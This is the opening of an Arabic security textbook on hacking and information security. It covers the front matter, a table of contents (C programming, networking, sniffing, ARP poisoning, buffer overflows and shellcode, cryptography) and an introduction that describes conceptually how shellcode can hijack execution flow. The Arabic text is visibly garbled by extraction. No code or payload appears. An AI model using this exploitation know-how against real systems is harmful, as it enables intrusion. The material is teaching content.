[1]
[2]
UNDERSTANDING
HACKING
AND INFORMATION SECURITY
AHMED ALMASHAD
[3]

‫املشد‬ ‫أمحد‬ :: ‫املؤلف‬ ‫اسم‬

‫املعلومات‬ ‫وأمن‬ ‫اإللكرتونية‬ ‫القرصنة‬ :: ‫الكتاب‬ ‫اسم‬

‫والتوزيع‬ ‫للنرش‬ ‫العربية‬ ‫األمة‬ ‫مؤسسة‬ :: ‫النارش‬

:: ‫القانوين‬ ‫اإليداع‬ ‫رقم‬
2017 / 26244

:: ‫الدويل‬ ‫الرقم‬
978 / 977 / 783 / 405 / 6

‫العربية‬ ‫مرص‬ ‫جهورية‬ :: ‫النرش‬ ‫دولة‬

:: ‫النرش‬ ‫سنة‬
2017

‫األوىل‬ ‫الطبعة‬ :: ‫الطبعة‬ ‫رقم‬
‫حتذير‬
||
‫نرش‬ ‫بإعادة‬ ‫يسمح‬ ‫وال‬ ‫للمؤلف‬ ‫حمفوظة‬ ‫احلقوق‬ ‫مجيع‬
‫م‬ ‫ططية‬ ‫بمواققة‬ ‫لال‬ ‫الكتاب‬ ‫ذذا‬
‫نه‬
.
[4]
‫الكتاب‬ ‫ذذا‬ ‫يف‬ ‫ستتعلم‬
:‫ماييل‬

‫ال‬ ‫بلغة‬ ‫الربجمه‬
C
،
‫األكواد‬ ‫وحتليل‬ ‫وقهم‬
.‫الربجمية‬

‫شبكات‬
‫احلاسب‬
‫ال‬ ‫برجمة‬ ‫وكيفية‬ ،
Sockets
.‫األنظمه‬ ‫بني‬ ‫اإلتصاالت‬ ‫ولنشاء‬ ،

‫واستغالهلا‬ ‫األنظمه‬ ‫يف‬ ‫ثغرات‬ ‫لجياد‬
‫طريق‬ ‫عن‬
‫ال‬ ‫ذجامت‬
Buffer Overflows
.

‫ال‬ ‫استخدام‬
Debuggers
‫ال‬ ‫لفحص‬
Processor Registers
‫وال‬
System Memory
.

‫كيف‬
‫احلاميه‬ ‫آليات‬ ‫عىل‬ ‫ل‬ُ‫ي‬‫التحا‬ ‫ية‬
‫اخلاصة‬
‫ب‬
‫أنظم‬
‫ال‬ ‫صالحيات‬ ‫عىل‬ ‫واحلصول‬ ،‫التشغيل‬ ‫ة‬
system
‫ال‬ ‫أو‬
root
.‫البعيدة‬ ‫األنظمه‬ ‫عىل‬

‫وحتليلها‬ ،‫التشفري‬ ‫وأنظمة‬ ‫طوارزميات‬
،
‫و‬
‫تطبيقاهتا‬ ‫قهم‬
‫ه‬َ‫د‬ِّ‫َعد‬‫ت‬ُ‫مل‬‫ا‬
.
‫األول‬ ‫الباب‬ ‫يف‬ ‫نقوم‬
‫ب‬
‫م‬ُّ‫ل‬َ‫ع‬َ‫ت‬
،‫الربجميه‬ ‫األكواد‬ ‫تابة‬‫وك‬ ‫قراءة‬
‫و‬
‫دراسة‬
‫التشغيل‬ ‫أنظمة‬
‫الربامج‬ ‫مع‬ ‫تعاطيها‬ ‫ق‬ ُ‫ر‬ُ‫ط‬‫و‬
،
ُ
‫حيث‬
‫د‬َ‫ع‬ُ‫ت‬
‫ل‬ ‫األساس‬
‫بقية‬
.‫األبواب‬
‫ل‬ ،‫الشبكات‬ ‫عامل‬ ‫لىل‬ ‫ننتقل‬ ‫الثاين‬ ‫الباب‬ ‫يف‬
َ‫ن‬
‫تعر‬
ُ‫ب‬‫و‬ ‫آليات‬ ‫عىل‬ ‫ف‬
‫من‬ ً‫ا‬‫بدء‬ ،‫األنظمة‬ ‫بني‬ ‫البيانات‬ ‫انتقال‬ ‫وكيفية‬ ،‫الشبكات‬ ‫روتوكوالت‬
‫ال‬
Application Layer
‫بال‬ ً‫ء‬‫وانتها‬
Physical Layer
‫س‬ .
‫ن‬
‫ت‬
‫علم‬
‫الباب‬ ‫ذذا‬ ‫يف‬
‫ف‬ِّ‫ظ‬‫ُو‬‫ن‬ ‫كيف‬
‫ال‬
Sockets
َ‫د‬‫و‬
‫وا‬
‫ل‬
‫الشبكات‬
‫يف‬
‫قنوات‬ ‫لنشاء‬
‫األنظمه‬ ‫بني‬ ‫اإلتصال‬
.
،‫األنظمه‬ ‫وتأمني‬ ‫اإلطرتاق‬ ‫عمليات‬ ‫عىل‬ ‫الضوء‬ ‫بتسليط‬ ‫نقوم‬ ‫الثالث‬ ‫الباب‬ ‫يف‬
،‫الشبكات‬ ‫بيئة‬ ‫يف‬ ‫أكثر‬ ‫والتعمق‬
‫أنواع‬ ‫عض‬َ‫ب‬‫ل‬ ‫ليل‬ َ
‫وحت‬
‫ال‬ ‫باستخدام‬ ‫امت‬َ‫ج‬َ‫اهل‬
Debuggers
.‫عميل‬ ‫اطرتاق‬ ‫اطتبار‬ ‫بإجراء‬ ‫ونختم‬ ،
‫الر‬ ‫الباب‬ ‫يف‬ ،ً‫ا‬‫وأطري‬
‫عض‬َ‫ب‬‫ل‬ ‫راسه‬‫د‬ ‫ع‬َ‫م‬ ،‫التشفري‬ ‫طوارزميات‬ ‫باستخدام‬ ‫األمان‬ ‫حتقيق‬ ‫آلليات‬ ‫ض‬‫َعر‬‫ت‬َ‫ن‬‫ل‬ ،‫البيانات‬ ‫تشفري‬ ‫علوم‬ ‫لىل‬ ‫ننتقل‬ ‫ابع‬
‫انتقاهل‬ ‫أثناء‬ ‫يانات‬َ‫ب‬‫ال‬ ‫المة‬ َ
‫وس‬ ،‫صوصية‬ُ‫خل‬‫وا‬ ،‫وثوقية‬َ‫مل‬‫ا‬ ‫توقري‬‫ل‬ ‫ة‬َ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫لة‬‫تكام‬ُ‫مل‬‫ا‬ ‫ة‬َ‫م‬‫األنظ‬
‫آل‬ ‫كان‬َ‫م‬ ‫ن‬‫م‬ ‫ا‬
.‫طر‬
[5]
Table of Content
I- Programming
1. Introduction...……………………………………………………………………… 13
2. If-Then-Else...…………………………………………………………………....... 17
3. While Loop...………………………………………………………………………. 18
4. For loop……………………………………………………………………………. 19
5. Variables…………………………………………………….................................... 20
6. Arithmetic Operators………………………………………………………………. 22
7. Comparison Operator……………………………………….................................... 24
8. Functions…………………………………………………………………………... 26
9. x86 processor ……………………………………………………………………… 31
10. Arrays…………………………………………………………………………….... 38
11. Signed, Unsigned………………………………………………………………...... 40
12. Pointers………………………………………………………….............................. 41
13. Format Strings……………………………………………………………………... 45
14. Typecasting………………………………………………………………………... 50
15. command-Line Arguments……………….………………….................................. 55
16. Variable Scoping…………………………………………………………………... 56
17. Memory Segmentation…………………………………………………………...... 62
18. The Heap…………………………………………………………………………... 66
19. Void Pointers…………………………………………………................................. 71
20. File Access……………………………………………………................................ 77
21. File Permissions………………………………………………................................ 85
22. User IDs………………………………………………………................................ 87
23. Structs……………………………………………………………………………… 91
24. Function Pointers………………………………………………………………...... 97
II- Networking
1. Introduction...……………………………………………………………………….. 105
2. The OSI Model...……………………………………………………………………. 107
3. The Socket...………………………………………………………………………… 116
[6]
4. Socket Functions……………………………………………………………………. 121
5. Socket Address……………………………………………….................................... 124
6. Big-Endian Byte Ordering………………………………………………………….. 128
7. Conversion between IP and 32-Bit……………………….......................................... 130
8. Error.h Lib…………………………………………………………………………... 132
9. Some Definitions……………………………………………………………………. 137
10. Server Example……………………………………………………………………... 138
11. The Browser……………………………………………………………………….... 148
12. The Big Picture…………………………………………………................................ 151
13. Layer 2 (Data-Link)…………………………………………………………………. 152
14. …Optaining an address…………….….……………………………………………. 153
15. …ARP Messages……………………………………………………………………. 155
16. …Sending packet outside the domain………………………………………………. 157
17. Layer 3 (Network)…………………………………………………………………... 158
18. …IP Header………..………………………………………………………………... 158
19. …IP Fragmentation..………………………………………………………………... 161
20. Layer 4 (Transport)……………….………………………….................................... 163
21. …Multiplexing & Demultiplexing………...………………………………………... 163
22. …TCP Header……..………………………………………………………………... 165
23. …TCP Three-way Handshake…..…………………………………………………... 168
III- Security & Attacks
1. Introduction...……………………………………………………………………….. 175
2. Computer Security...………………………………………………………………… 177
3. The Rings...…………………………………………………………………………. 178
4. Operational States…………………………………………………………………… 180
5. Technical Mechanisms……………………………………….................................... 182
6. …Layering, Abstraction, Data Hiding, and Process Isolation……………………… 182
7. Network Sniffing……………………………………………………………………. 186
8. Building our Sniffer………………………................................................................. 188
9. Libpcap Sniffer……………………………………………………………………… 191
10. Layer Analysis………………………………………………………………………. 197
11. …Ethernet Header…………………………………………………………………... 197
12. …IP Header……..…………………………………………………………………... 200
13. …TCP Header…..…………………………………………………………………... 202
14. The Decoder Sniffer………………………………………………………………… 205
[7]
15. …The Conclusion………………………………………………………………….... 224
16. ARP Poisoning Attack....….……………………………………………………........ 225
17. …Inside Nemesis Tool……………………………………………………………... 229
18. Buffer Overflow……………………………………………….................................. 243
19. The Stack……………………………………………………………………………. 247
20. Stack Overflow……………………………………………………………………… 253
21. Putting Things all Together…………………………………………………………. 265
22. …Preparing and Sending our Buffer………………………………………………... 266
23. …Binary Tree Analysis……………………………………………………………... 269
24. …Locating Space for our Shellcode………………………………………………... 274
25. …Redirecting Execution Flow……………………………………………………… 277
26. …Getting the Shell…………………………………………………………………. 279
27. Protection Mechanisms………….…………………………...................................... 283
IV- Cryptography
1. Introduction...……………………………………………………………………….. 291
2. Cryptography...……………………………………………………………………… 295
3. …Substitution...……………………………………………………………………... 298
4. …Transposition……………………………………………………………………... 300
5. Symmetric Cryptography…………………………………........................................ 301
6. …Stream Ciphers…………………………………………………………………… 304
7. …Block Ciphers………………………...................................................................... 307
8. …AES Cryptosystem……………………………………………………………….. 309
9. ……Encryption Process…………………………………………………………….. 312
10. ………SubBytes…..……..………………………………………………………….. 314
11. ………ShiftRows………..………………………………………………………….. 318
12. ………MixColumns……..………………………………………………………….. 319
13. ………AddRoundKey…...………………………………………………………….. 320
14. ……Key Schedule…………………………………………………………………... 322
15. Asymmetric Cryptography…………………………………………………….......... 332
16. …Goals of Cryptography…………………………………………………………… 334
17. ……Confidentiality..………………………………………………………………... 334
18. ……Integrity………………………………………………………………………... 335
19. ……Authentication..………………………………………………………………... 336
20. ……Nonrepudiatin…...……………………………………………………………... 338
21. …RSA………………………………………………................................................. 341
[8]
22. ……RSA Algorithm………………………………………………………………… 344
23. Cryptographic Hash Functions……………………………………………………… 356
24. …Message Authentication………………………………………………………….. 358
25. …Confidentiality, Authentication, and Signature....................................................... 366
26. …Message Authentication Code (MAC)…………………………………………… 370
27. …Digital Signature…………………………………………………………………. 373
28. ……Digital Signature Standard (DSS)……………………………………………... 377
29. Key Distribution…………………………………………………….......................... 380
30. …Using Symmetric Key Encryption…………………………………….................. 381
31. …Using Asymmetric Key Distribution…………………………………................... 384
32. Distribution of Public Keys…………………………………………………………. 386
33. …Using Public-Key Authority…………………………………................................ 386
34. …Using Public-Key Certificate.....……………………………................................. 388
35. Inside Secure Socket Layer (SSL)…………………………………………………... 391
36. Perfect Forward Secrecy (PFS)…..……………………………................................. 407
37. Success Algorithms……………………………………………................................. 418
38. References…………………………………………………………………………... 424
39. Appendixes.……………………………………………………................................. 425
[9]
About the Author
‫املشد‬ ‫أمحد‬
ُ
‫أحببت‬
‫ذ‬ُ‫م‬ ‫الكمبيوتر‬
‫ُن‬‫ك‬
ُ
‫ت‬
‫مع‬ ‫يل‬ُ‫م‬‫َعا‬‫ت‬ ‫أثناء‬ ‫عادة‬ َ
‫بالس‬ ‫ر‬ُ‫ع‬‫أش‬ ‫نفيس‬ ُ
‫ت‬‫وجد‬ ‫ندما‬‫ع‬ ‫ذلك‬ ُ
‫كت‬َ‫أدر‬ ،ً‫ا‬‫صغري‬
‫التصميم‬ ‫برامج‬
‫والتطوير‬
‫املختلفة‬
..
ُ‫ث‬
‫عندم‬ ‫أكثر‬ ‫ق‬ُّ‫م‬َ‫ع‬َ‫ت‬‫بال‬ ‫بدأت‬ ‫م‬
‫ا‬
‫وأمن‬ ،‫بالشبكات‬ ‫ألذتم‬ ‫ت‬ ُ
‫َرب‬‫ك‬
.‫التشغيل‬ ‫وأنظمة‬ ،‫املعلومات‬
‫ين‬ ّ ُ
‫ُس‬َ‫ي‬
‫ال‬
ُ
‫تواص‬
‫ل‬
‫مع‬
‫كم‬
..
a.almashad@gmail.com
Acknowledgement
‫أ‬
‫بدأ‬
‫ب‬
ُ
‫ش‬
‫ك‬
‫ر‬
‫ا‬
،‫ة‬َ‫ديد‬َ‫ع‬‫ال‬ ‫ه‬‫م‬َ‫ع‬‫ن‬ ‫عىل‬ ‫َعاىل‬‫ت‬ ‫هلل‬
‫وعائلتي‬
‫و‬ ،‫وأصدقائي‬
.ُ‫ه‬‫ن‬‫م‬ ُ
‫مت‬ّ‫ل‬َ‫ع‬َ‫ت‬ ‫ن‬َ‫م‬ ‫ُل‬‫ك‬
‫السيد‬ ‫أشكر‬ ‫أن‬ ُ
‫ب‬‫وأح‬
Jon Erickson
،
‫الك‬‫المت‬
‫ه‬
‫قريد‬ ‫ة‬َ‫ب‬‫وذ‬َ‫م‬
:‫هري‬ َ
‫الش‬ ‫تابه‬‫ك‬ ‫يف‬ ‫ت‬ َ‫ر‬َ‫ه‬َ‫ظ‬ ،!‫ة‬
“Hacking, The art of exploitation”
..
‫القتباس‬ ‫مادقعني‬
‫األ‬ ‫بعض‬
‫الربجمية‬ ‫كواد‬
ُ‫ه‬‫من‬
‫ألقوم‬
‫كتايب‬ ‫يف‬ ‫ورشحها‬ ‫بتحليلها‬
،
‫عض‬َ‫ب‬‫ب‬ ‫استعنت‬ ‫َام‬‫ك‬
‫املؤلفات‬
‫طرى‬ُ‫أل‬‫ا‬
.‫جال‬َ‫مل‬‫ا‬ ‫ذا‬‫ِب‬ ‫صني‬ ِّ
‫تخص‬ُ‫مل‬‫ا‬ ‫دونات‬ُ‫م‬‫و‬
‫أنه‬ ‫املعلوم‬ ‫من‬
‫ل‬
‫ن‬
‫م‬ّ‫ل‬‫َع‬‫ت‬
‫م‬ُ‫أل‬‫ا‬ ‫نا‬‫ت‬َ‫غ‬ُ‫ل‬‫ب‬ ‫لوم‬ُ‫ع‬‫ال‬ ‫نا‬
،
َ‫ن‬ ‫ا‬‫مل‬ ً‫ام‬‫ه‬َ‫ق‬َ‫و‬ ً‫ة‬‫قو‬ ‫أشد‬ ‫نكون‬ َ
‫س‬
‫لىل‬ ‫طر‬‫َض‬‫ن‬ ‫كننا‬‫ل‬ ،!‫لنسانية‬ ‫بيعة‬َ‫ط‬ ‫هذه‬َ‫ق‬ ،‫َلقاه‬‫ت‬
‫ا‬
..‫لدينا‬ ‫وارد‬َ‫مل‬‫ا‬ ‫لفقر‬ ‫األجنبية‬ ‫باللغات‬ ‫لتعلم‬
‫أن‬ ‫أمتنى‬ ‫ذا‬‫وهل‬
ُ‫ن‬
‫ساذ‬
‫م‬
‫د‬ّ‫ي‬‫ج‬ ‫بمنهجية‬ ،‫العربية‬ ‫لغتنا‬‫ب‬ ‫لوم‬ُ‫ع‬‫ال‬ ‫لثراء‬ ‫يف‬
‫ة‬
.‫ط‬‫بس‬ُ‫م‬ ‫سلوب‬ُ‫أ‬‫و‬
[10]
What you need for this book
‫أس‬‫ب‬ ‫راية‬‫د‬ ‫عىل‬ َ
‫أنك‬ ‫ض‬ َ
‫فرت‬َ‫ي‬ ‫الكتاب‬ ‫ذذا‬
‫ُمبيوتر‬‫ك‬‫ال‬ ‫اسيات‬
‫العام‬
‫ة‬
‫األساسي‬ ‫فاذيم‬َ‫مل‬‫وبا‬ ،
‫ة‬
‫ر‬ِّ‫ق‬‫تو‬ُ‫مل‬‫كا‬ ،‫للشبكات‬
‫ة‬
‫ج‬َ‫نه‬َ‫م‬ ‫يف‬
‫شهادة‬
“Network+”
َ‫ق‬‫عر‬َ‫مل‬‫ا‬ ‫وبعض‬ ،
‫ة‬
َ
‫ثل‬‫م‬ ‫التشغيل‬ ‫ة‬َ‫م‬‫بأنظ‬
Windows
‫و‬
Linux
.
Preface
‫يف‬
‫ذذا‬
‫الكتاب‬
‫ن‬
‫قوم‬
‫عىل‬ ‫الضوء‬ ‫بتسليط‬
‫القرصنة‬
‫و‬ ،‫املعلومات‬ ‫وأمن‬ ‫اإللكرتونية‬
‫حتى‬
‫رشح‬ ‫من‬ ‫نتمكن‬
‫قلس‬
‫فة‬
‫اإل‬
‫واألنظمة‬ ‫البيانات‬ ‫تأمني‬ ‫أو‬ ‫طرتاق‬
‫بحاج‬ ‫قنحن‬ ،
‫ة‬
‫أمور‬ ‫بعدة‬ ‫لإلملام‬
‫حتضريية‬
،
‫ب‬ ‫تبدأ‬
‫معرقة‬
‫ال‬
Computer
Architecture
‫التشغيل‬ ‫وأنظمة‬
Windows)
‫و‬
(Linux
،
‫و‬
‫ا‬ ‫لربوتوكوالت‬ ‫اجليد‬ ‫الفهم‬
‫لشبكات‬
،‫التشفري‬ ‫وتكنولوجيا‬
‫الربجمة‬ ‫لغات‬ ‫وبعض‬
َ‫ك‬
ُ‫ل‬
‫ال‬ ‫غة‬
C
،
‫و‬
Scripting language
‫كا‬
‫ل‬
Python
.
‫يف‬ ‫الكتاب‬ ‫يتدرج‬
‫تناول‬
‫األمور‬ ‫ذذه‬
،‫ذرمي‬ ‫بشكل‬
‫الربجمة‬ ‫أساسيات‬ ‫بتبسيط‬ ‫يبدأ‬
‫ال‬ ‫ومبادئ‬
Computer
Architecture
،‫للقارئ‬
،‫األبواب‬ ‫لبقية‬ ‫األساس‬ ‫تعد‬ ‫حيث‬
‫ثم‬
‫ينتقل‬
‫الشبكات‬ ‫علوم‬ ‫لىل‬
‫و‬
‫آلية‬
‫بني‬ ‫البيانات‬ ‫انتقال‬
‫األنظمة‬
‫ثم‬ ،
‫ليبدأ‬ ‫أكثر‬ ‫يتعمق‬
‫ب‬
‫رشح‬
‫وحتليل‬
‫اإلطرت‬ ‫آليات‬
‫و‬ ‫اق‬
‫احلامية‬
،
‫وخيتم‬
‫ب‬
‫التشفري‬ ‫علوم‬
‫الالزمة‬
‫لتحقي‬
‫ق‬
‫واملوثوقية‬ ‫والسالمة‬ ‫اخلصوصية‬
.
‫ب‬ ‫الكتاب‬ ‫موضوعات‬ ‫لعداد‬ ‫تم‬
‫عتمدة‬ُ‫م‬ ‫تكون‬ ‫حيث‬
،‫يل‬ ُ
‫تسلس‬ ‫بشكل‬ ‫بعضها‬ ‫عىل‬
‫لكن‬
‫بإمكانك‬
‫كام‬ ‫التنقل‬
‫داطل‬ ‫تشاء‬
‫كنت‬ ‫لذا‬ ‫الكتاب‬
‫املطلوبة‬ ‫باألساسيات‬ ً‫ام‬‫ل‬ُ‫م‬
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[11]
Part I
Programming
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[12]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[13]
Introduction
‫أحد‬ ‫عن‬ ‫عبارة‬ ..‫أعجبتني‬ ‫بمقولة‬ ‫أبدأ‬ ‫أن‬ ُ
‫حب‬ُ‫أ‬
‫ال‬ ‫مفهوم‬ ‫ح‬ِّ‫ُصح‬‫ت‬ ‫التي‬ ‫التعريفات‬
‫قرصنة‬
!‫الكثري‬ ‫عند‬
:
“Hacker is a term for both those who write code, and those who exploit it!”
َ‫ت‬‫ال‬ ‫يف‬ ‫التكنيك‬ ‫نفس‬ ‫لدهيم‬ ‫النهاية‬ ‫يف‬ ‫أهنم‬ ‫لال‬ ‫منهم‬ ‫كل‬ ‫أذداف‬ ‫اطتالف‬ ‫من‬ ‫الرغم‬ ‫عىل‬
ُّ‫ل‬‫غ‬
ُ‫ه‬‫ألن‬ ،!‫ل‬‫شاك‬َ‫مل‬‫ا‬ ‫عىل‬ ‫ب‬
‫ببساط‬
‫ة‬
َ
‫جم‬ َ
‫الرب‬ ‫م‬‫ه‬َ‫ق‬ ..
‫ة‬
‫اكت‬ ‫عىل‬ ُ‫ه‬‫ساعد‬ُ‫ي‬ ،‫األنظمة‬ ‫عىل‬ ‫ل‬ُ‫ي‬‫التحا‬ ‫ريد‬ُ‫ي‬ ‫ن‬‫مل‬ ‫هم‬ُ‫م‬
‫الربجمي‬ ‫األططاء‬ ‫شاف‬
‫ة‬
،‫األمنية‬ ‫والثغرات‬
‫اآلطر‬ ‫اجلانب‬ ‫وعىل‬
..
‫م‬ِّ‫صم‬ُ‫م‬ ‫أو‬ ‫ج‬‫ربم‬ُ‫مل‬‫ا‬ ‫سينفع‬ )‫الربجمي‬ ‫اخلطأ‬ ‫أو‬ ‫نفسها‬ ‫(الثغرة‬ ‫االطرتاق‬ ‫ذذا‬ ‫حدوث‬ ‫لسبب‬ ‫الفهم‬
‫ا‬
‫يتفح‬ ‫حتى‬ ‫أكثر‬ ُ‫ه‬ُ‫علم‬ُ‫ي‬ َ
‫وس‬ ‫األمني‬ ‫لنظام‬
‫األجهز‬ ‫لعدادات‬ ‫و‬ ‫أكواده‬ ‫ص‬
‫ة‬
‫لديه‬
‫أن‬ ‫وبام‬ .
َ
‫جم‬ َ
‫الرب‬ ‫م‬‫ه‬َ‫ق‬
‫ة‬
‫األسايس‬ ‫ط‬ َ
‫الرش‬ ‫و‬ُ‫ذ‬
َ‫ت‬ ‫حتى‬
‫التي‬ ‫األساسيات‬ ‫عض‬َ‫ب‬‫ل‬ ‫ط‬ ّ‫س‬َ‫ب‬ُ‫م‬ ‫ح‬ َ
‫رش‬‫ب‬ ‫نبدأ‬ َ
‫سوف‬َ‫ق‬ ،‫الربوتوكوالت‬َ‫و‬ ‫األنظمة‬ َ‫ني‬َ‫ب‬ ‫األمور‬ ‫َسري‬‫ت‬ َ
‫َيف‬‫ك‬ ‫م‬َ‫فه‬
‫بغ‬ ‫تحتاجها‬ َ
‫س‬
َ
‫ُنت‬‫ك‬ ‫ما‬ ‫عن‬ ‫النظر‬ ‫ض‬
‫الربجم‬ ‫ب‬ ُ
‫حت‬
‫ة‬
.!‫ال‬ ‫أم‬
..‫رحلتنا‬ ‫لنبدأ‬ ‫ذيا‬
‫الربنامج‬
‫بار‬‫ع‬ ‫ذو‬
‫ة‬
‫جمموع‬ ‫عن‬
‫ة‬
‫كتوب‬َ‫م‬ ‫ل‬َ‫م‬ُ‫جل‬‫ا‬ ‫أو‬ ‫ر‬ُ‫ط‬‫األس‬ ‫من‬
‫ة‬
‫غ‬ُ‫ل‬‫ب‬
‫ة‬
‫عين‬ُ‫م‬
‫ة‬
‫قهناك‬ !‫قحسب‬ ‫الربامج‬ ‫ليست‬ ‫الواقع‬ ‫يف‬ ،
‫كثرية‬ ‫أمور‬
‫عىل‬ ‫مبنية‬ ‫حولنا‬
‫مفهوم‬
‫الربجم‬
‫ة‬
‫للسيار‬ ‫قيادتك‬ ً‫ال‬‫مث‬ ،
‫ة‬
َ َ
‫ربجم‬ُ‫مل‬‫ا‬ ‫األمور‬ ‫ن‬‫م‬ ‫ُعد‬‫ت‬
‫ة‬
ً
‫وذلك‬ ً‫ا‬‫ق‬َ‫ب‬‫س‬ُ‫م‬
‫باتباع‬
‫خلطوات‬ ‫ك‬
َ‫د‬‫د‬َ ُ
‫حم‬
‫ة‬
‫ياد‬‫الق‬ ‫ند‬‫ع‬
‫ة‬
‫الطبخ‬ ‫وصفات‬ ً‫ا‬‫أيض‬ ،
‫القدم‬ ‫ُرة‬‫ك‬ ‫رياضة‬ ً‫ا‬‫وأطري‬ ،
،
‫اهلدف‬ ‫قيها‬ ‫يتحقق‬
‫جمموعة‬ ‫بحدوث‬
‫من‬
‫اإلحتامالت‬
‫تنتهي‬ ،
‫بوضع‬
‫ُر‬‫ك‬‫ال‬
‫ة‬
‫الشبك‬ ‫داطل‬
‫ة‬
.
‫تاز‬ ُ
‫ُم‬ ‫ذذا‬
!
..
‫ا‬ ‫لىل‬ ‫نعود‬‫ل‬
‫لكمبيوتر‬
..
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[14]
‫أنه‬ ‫البدهيي‬ ‫من‬
‫أن‬ ‫قعلينا‬ ‫ما‬ ‫بيشء‬ ‫يقوم‬ ‫الكمبيوتر‬ ‫نجعل‬ ‫كي‬
‫ال‬ ُ‫ه‬‫ل‬ ‫نكتب‬
Instructions
‫ب‬
‫يفهمها‬ ‫لغة‬
‫وذي‬ ،
‫ال‬
Machine Language
،
‫الفهم‬ ‫صعبة‬ ‫لكنها‬
!
..
‫عبار‬ ‫ألهنا‬
‫ة‬
‫عن‬
Bits, and Bytes
‫من‬ ‫وختتلف‬
Architecture
.‫آلطر‬
‫بال‬ ‫الكتابه‬ ‫أزمة‬ ‫عىل‬ ‫نتغلب‬ ‫ولكي‬
Machine Language
‫ال‬ ‫لنا‬ ‫ظهر‬
Assembler
‫بار‬‫ع‬ ‫وذو‬
‫ة‬
‫ن‬َ‫ع‬
Translator
‫ال‬ ‫مجة‬ َ
‫رت‬‫ب‬ ‫يقوم‬
Assembly Instructions
‫ال‬ ‫اىل‬
Machine Language
.
‫ُعد‬‫ت‬
‫ال‬ ‫غة‬ُ‫ل‬
Assembly
‫أبسط‬
‫ن‬‫م‬
‫ال‬
Machine
،
‫هي‬َ‫ق‬
‫مفهوم‬ ‫وعناوين‬ ‫امت‬‫َل‬‫ك‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬
‫ة‬
‫ال‬ ‫كس‬َ‫ع‬‫ب‬
Machine
‫تتشابه‬ ‫لكنها‬ .!‫ققط‬ ‫أرقام‬ ‫من‬ ‫تتكون‬ ‫التي‬
‫مع‬
‫ال‬
Machine
‫ال‬ ‫نوع‬ ‫باطتالف‬ ً‫ا‬‫أيض‬ ‫ختتلف‬ ‫أهنا‬ ‫يف‬
Architecture
.
‫ن‬‫ق‬ َ‫ر‬َ‫ع‬
‫حاج‬‫ب‬ ‫أننا‬ ‫ا‬
‫ة‬
‫لىل‬
Translator
‫ال‬ ‫من‬ ‫للتحويل‬
Assembly
‫ال‬ ‫لىل‬
Machine Language
،
‫اللغ‬ ‫وذي‬
‫ة‬
‫التي‬
‫ال‬ ‫يستطيع‬
CPU
‫بال‬ ‫األكواد‬ ‫ُب‬‫ت‬‫سنك‬ ‫ذل‬ ‫واآلن‬ ..‫ها‬َ‫م‬َ‫فه‬َ‫ي‬ ‫أن‬
Assembly
،‫؟‬
،!ً‫ا‬‫أيض‬ ً‫ا‬‫صعب‬ ‫األمر‬ ‫كون‬َ‫ي‬ َ
‫س‬
ُ‫ن‬‫َح‬‫ن‬
‫حاج‬‫ب‬
‫ة‬
‫لىل‬
Translator
‫م‬ ‫ه‬ُ‫ب‬ُ‫ت‬‫َك‬‫ن‬ ‫ما‬ ‫نا‬َ‫ل‬ ‫رتجم‬ُ‫ي‬‫ل‬ ‫آطر‬ ‫نوع‬ ‫ن‬‫م‬
‫ال‬ ‫غات‬ُ‫ل‬ ‫ثل‬‫م‬ ‫بلغات‬ ‫أكواد‬ ‫ن‬
C, C++
‫ال‬ ‫لىل‬
Machine
Language
‫ال‬ ‫سيكون‬ ‫نا‬ُ‫ذ‬.. ،
Translator
‫ال‬ ‫ذو‬
Compiler
.
‫ال‬ ‫يقوم‬ ..ً‫ا‬‫لذ‬
Compiler
‫ال‬ ‫بلغة‬ ‫األكواد‬ ‫برتمجة‬
C
‫ال‬ ‫نوع‬ ‫عىل‬ ً‫ء‬‫وبنا‬ ‫اآلله‬ ‫غة‬ُ‫ل‬ ‫لىل‬
Processor Architecture
‫بال‬ ‫ربجمني‬ُ‫مل‬‫ا‬ ‫اذتامم‬ ِّ
‫فُس‬ُ‫ي‬‫ما‬ ‫وذذا‬ ،‫املوجود‬
Source Code
‫ال‬ ‫ولكن‬ ،!‫الربنامج‬ ‫لنجاح‬ ‫األساس‬ ‫ألنه‬
Hacker
‫نا‬ُ‫ذ‬
‫ال‬ ‫أن‬ ‫عي‬َ‫ي‬
Compiled Program
‫سيتعامل‬ ‫الذي‬ ‫ذو‬
‫املطاف‬ ‫هناية‬ ‫يف‬
‫ال‬ ‫مع‬
CPU
،
‫تعامل‬ ‫لكيفية‬ ‫اجليد‬ ‫بالفحص‬ ‫و‬
‫ال‬
CPU
‫وال‬
Memory
‫اكتشاف‬ ‫من‬ ‫يتمكن‬ ‫بام‬ُ‫ر‬ ،‫الربنامج‬ ‫ذذا‬ ‫مع‬
‫ثغرة‬
‫ال‬ ‫أو‬ ‫الربنامج‬ ‫يف‬
Application
ُ‫مت‬
‫حينها‬ ُ‫ه‬‫ن‬‫ك‬
‫لحداث‬ ‫من‬
crash
‫ال‬ ‫ذذا‬ ‫يقوده‬ ‫وربام‬ ،‫له‬
crash
‫ال‬ ‫توجيه‬ ‫حماولة‬ ‫لىل‬
execution flow
‫أطرى‬ ‫ألماكن‬
‫داطل‬
‫ال‬
memory
‫ال‬ ‫من‬ ‫جمموعة‬ ‫ِبا‬ ‫يضع‬ ‫حيث‬
instructions
‫ُسميها‬‫ن‬
shellcode
‫ال‬ ‫ليقوم‬ ،
CPU
‫استكامل‬ ‫من‬ ً‫ال‬‫بد‬ ‫بتنفيذذا‬
.!‫الربنامج‬ ‫تنفيذ‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[15]
‫ذذا‬ ‫عىل‬ ‫يؤكد‬
‫األمر‬
‫السيد‬
"
Dave Aitel
"
‫بار‬‫الع‬ ‫ه‬‫ذ‬َ‫ِب‬
‫ة‬
:
“Hacking is not reverse engineering!, your goal is not to come up with original source code for
the application!, your goal is to have a greater understanding of the program or system than the
people who built it”.
